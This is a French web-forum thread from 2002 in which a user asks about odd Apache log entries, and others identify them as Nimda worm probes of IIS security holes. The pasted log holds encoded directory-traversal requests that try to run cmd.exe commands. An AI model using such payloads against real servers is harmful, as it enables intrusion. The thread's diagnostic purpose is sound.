Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
836 connectés 

  FORUM HardWare.fr
  Programmation
  Divers

  apache: c koi c chose dans mon access.log

 
 


 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

apache: c koi c chose dans mon access.log

n°275823
fils_de_la​_lumiere
Posté le 26-12-2002 à 01:22:27  profilanswer
 

depuis que j'ai installé apache j'ai continuelement (mon access.log fait 3mo alors que j'y accede que tres rarement) remplis de ce genre de ligne a des moments ou je c que personne que je connait utilise mon serveur
 

81.48.216.247 - - [26/Dec/2002:01:03:50 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:03:51 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:03:53 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:03:55 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:03:57 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:04:01 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:04:03 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:04:04 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:04:06 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:04:07 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:04:09 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:04:10 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:04:12 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 789
81.48.216.247 - - [26/Dec/2002:01:04:13 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 789
81.48.216.247 - - [26/Dec/2002:01:04:15 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783
81.48.216.247 - - [26/Dec/2002:01:04:20 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 783


 
que signifient c lignes??
 
merci :jap:

mood
Publicité
Posté le 26-12-2002 à 01:22:27  profilanswer
 

n°275865
darklord
You're welcome
Posté le 26-12-2002 à 11:23:02  profilanswer
 

des failles de secu de IIS. Bien sur t'as pas IIS mais les petits malins qui attaqent ton IP ne s'en préoccupe pas :)


---------------
Just because you feel good does not make you right
n°275866
samuelp
Posté le 26-12-2002 à 11:25:25  profilanswer
 

DarkLord a écrit :

des failles de secu de IIS. Bien sur t'as pas IIS mais les petits malins qui attaqent ton IP ne s'en préoccupe pas :)


 
Mais non c'est Nimda : Les utilisateurs de IIS ne s'en rendent meme pas compte qu'ils font chier le monde avec car les attaques Nimda ne font que propager ces commandes : C'est de l'insouciance a mon avis

n°275872
darklord
You're welcome
Posté le 26-12-2002 à 11:36:58  profilanswer
 

samuelp a écrit :


 
Mais non c'est Nimda : Les utilisateurs de IIS ne s'en rendent meme pas compte qu'ils font chier le monde avec car les attaques Nimda ne font que propager ces commandes : C'est de l'insouciance a mon avis


 
je sais que c'est Nimda. Mais en attendant c'est un truc spécifique à IIS  :kaola:


---------------
Just because you feel good does not make you right
n°275924
Harkonnen
Modérateur
Un modo pour les bannir tous
Posté le 26-12-2002 à 12:28:38  profilanswer
 

DarkLord a écrit :

des failles de secu de IIS. Bien sur t'as pas IIS mais les petits malins qui attaqent ton IP ne s'en préoccupe pas :)


c pas plutot Nimda qui fait chier son monde :??:
 
edit: grilled again, et par samuelp en plus [:totoz]


Message édité par Harkonnen le 26-12-2002 à 12:29:36

---------------
J'ai un string dans l'array (Paris Hilton)
n°275926
darklord
You're welcome
Posté le 26-12-2002 à 12:33:12  profilanswer
 

:o


---------------
Just because you feel good does not make you right
n°275927
Harkonnen
Modérateur
Un modo pour les bannir tous
Posté le 26-12-2002 à 12:35:06  profilanswer
 

DarkLord a écrit :

:o

[:tapai]


---------------
J'ai un string dans l'array (Paris Hilton)
n°276845
fils_de_la​_lumiere
Posté le 28-12-2002 à 15:30:37  profilanswer
 

mouais mais une question: comment on t'il eu mon ip?

n°276849
drasche
Posté le 28-12-2002 à 15:40:09  profilanswer
 

Pas sûr qu'ils aient eu, il suffit juste qu'ils essaient tout un range d'ip "juste pour voir".  J'ai eu ces choses là aussi dans mon access.log.  Mais qui n'en a jamais eu?


---------------
Whichever format the fan may want to listen is fine with us – vinyl, wax cylinders, shellac, 8-track, iPod, cloud storage, cranial implants – just as long as it’s loud and rockin' (Billy Gibbons, ZZ Top)
n°276858
fils_de_la​_lumiere
Posté le 28-12-2002 à 15:53:25  profilanswer
 

n'empeche que c'est hyper frequent genre plusieurs fois par jour voir par heure

mood
Publicité
Posté le 28-12-2002 à 15:53:25  profilanswer
 

n°276868
kadreg
profil: Utilisateur
Posté le 28-12-2002 à 16:05:44  profilanswer
 

fils_de_la_lumiere a écrit :

n'empeche que c'est hyper frequent genre plusieurs fois par jour voir par heure


 
C'est plus calme maintenant. Au plus fort de l'infection, j'en avais une rafale toutes les 5 minutes.

n°276993
--greg--
Posté le 28-12-2002 à 21:14:20  profilanswer
 

ouais j'en ai tjs 1 à 3 par jour :sweat:


---------------
#19b | Mardi 18 Février 2003 - nous fêtons les Bernadette | contre le fleur icq!
n°277004
HappyHarry
Posté le 28-12-2002 à 22:49:21  profilanswer
 

--greg-- a écrit :

ouais j'en ai tjs 1 à 3 par jour :sweat:


 
environ 400 par semaine :o

n°277005
--greg--
Posté le 28-12-2002 à 22:57:48  profilanswer
 

HappyHarry a écrit :


 
environ 400 par semaine :o

qd je dis 1à3, je parle pas de hits mais d'ip differents hein :o


---------------
#19b | Mardi 18 Février 2003 - nous fêtons les Bernadette | contre le fleur icq!
n°277011
drasche
Posté le 28-12-2002 à 23:16:49  profilanswer
 

--greg-- a écrit :

qd je dis 1à3, je parle pas de hits mais d'ip differents hein :o


tu fais bien de préciser, on avait tous mal compris [:greg2]


---------------
Whichever format the fan may want to listen is fine with us – vinyl, wax cylinders, shellac, 8-track, iPod, cloud storage, cranial implants – just as long as it’s loud and rockin' (Billy Gibbons, ZZ Top)
n°277014
darklord
You're welcome
Posté le 28-12-2002 à 23:19:13  profilanswer
 

Drasche a écrit :


tu fais bien de préciser, on avait tous mal compris [:greg2]


 
 :lol:

n°277021
HappyHarry
Posté le 28-12-2002 à 23:36:12  profilanswer
 

raph93 a écrit :


blablabla


 
on s'en fout :o

n°277036
--greg--
Posté le 29-12-2002 à 01:03:15  profilanswer
 

HappyHarry a écrit :


 
on s'en fout :o

:??:


---------------
#19b | Mardi 18 Février 2003 - nous fêtons les Bernadette | contre le fleur icq!
n°277042
+yann
Posté le 29-12-2002 à 02:47:51  profilanswer
 

Ya pas un petit script qui capable d'envoyer un net send IP "vous avez le virus nimda sur votre system"
 
a chaque tentative de "hack"?

n°277060
darklord
You're welcome
Posté le 29-12-2002 à 11:19:54  profilanswer
 

+yann a écrit :

Ya pas un petit script qui capable d'envoyer un net send IP "vous avez le virus nimda sur votre system"
 
a chaque tentative de "hack"?


 
ca serait cool tiens [:ddr555]

n°277061
darklord
You're welcome
Posté le 29-12-2002 à 11:20:07  profilanswer
 

--greg-- a écrit :

:??:


 
il a surment effacé son msg entre temps

n°277064
--greg--
Posté le 29-12-2002 à 11:30:36  profilanswer
 

DarkLord a écrit :


 
x

:??:


---------------
#19b | Mardi 18 Février 2003 - nous fêtons les Bernadette | contre le fleur icq!
n°277065
darklord
You're welcome
Posté le 29-12-2002 à 11:37:44  profilanswer
 

--greg-- a écrit :

:??:


 
mauvaise manip je viens de le voir :D

n°277107
HappyHarry
Posté le 29-12-2002 à 14:36:29  profilanswer
 

--greg-- a écrit :

:??:


 
le gars avait balancé un log de je sais pas combien de lignes juste pour dire que lui aussi en avait, c t super intéressant :sarcastic:

n°277110
--greg--
Posté le 29-12-2002 à 14:38:50  profilanswer
 

:lol:


---------------
#19b | Mardi 18 Février 2003 - nous fêtons les Bernadette | contre le fleur icq!
n°277131
lorill
Posté le 29-12-2002 à 15:37:03  profilanswer
 

+yann a écrit :

Ya pas un petit script qui capable d'envoyer un net send IP "vous avez le virus nimda sur votre system"
 
a chaque tentative de "hack"?


y'en avait un, ca doit se retrouver.

n°278074
raph93
Posté le 01-01-2003 à 17:13:37  profilanswer
 

HappyHarry a écrit :


 
le gars avait balancé un log de je sais pas combien de lignes juste pour dire que lui aussi en avait, c t super intéressant :sarcastic:


 
 :D


---------------
Nothing can stop me, I'm never satisfied, I take what i want, refuse to be denied...
mood
Publicité
Posté le   profilanswer
 


Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Programmation
  Divers

  apache: c koi c chose dans mon access.log

 

Sujets relatifs
ACCESS 2000 et OUTLOOK 2000Pb Access
[VBA Access] vous connaitriez pas un site bien pour apprendre[Access] Venez m'aider !
[ACCESS] Problème de requettePoukoi "./" marche pas dans Access pour le rep courant ??
[SGBD ACCESS] Executer plusieurs requettes SQL en un seul coupRequête action sous Access 2002
Ouvrir une page de cadre avec autre chose que les pages par défaut ..[php] Microsoft Outlook Web Access - Connexion ???
Plus de sujets relatifs à : apache: c koi c chose dans mon access.log

Forum MesDiscussions.Net, Version 2010.2
(c) 2000-2011 Doctissimo
Page générée en 0.112 secondes

Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR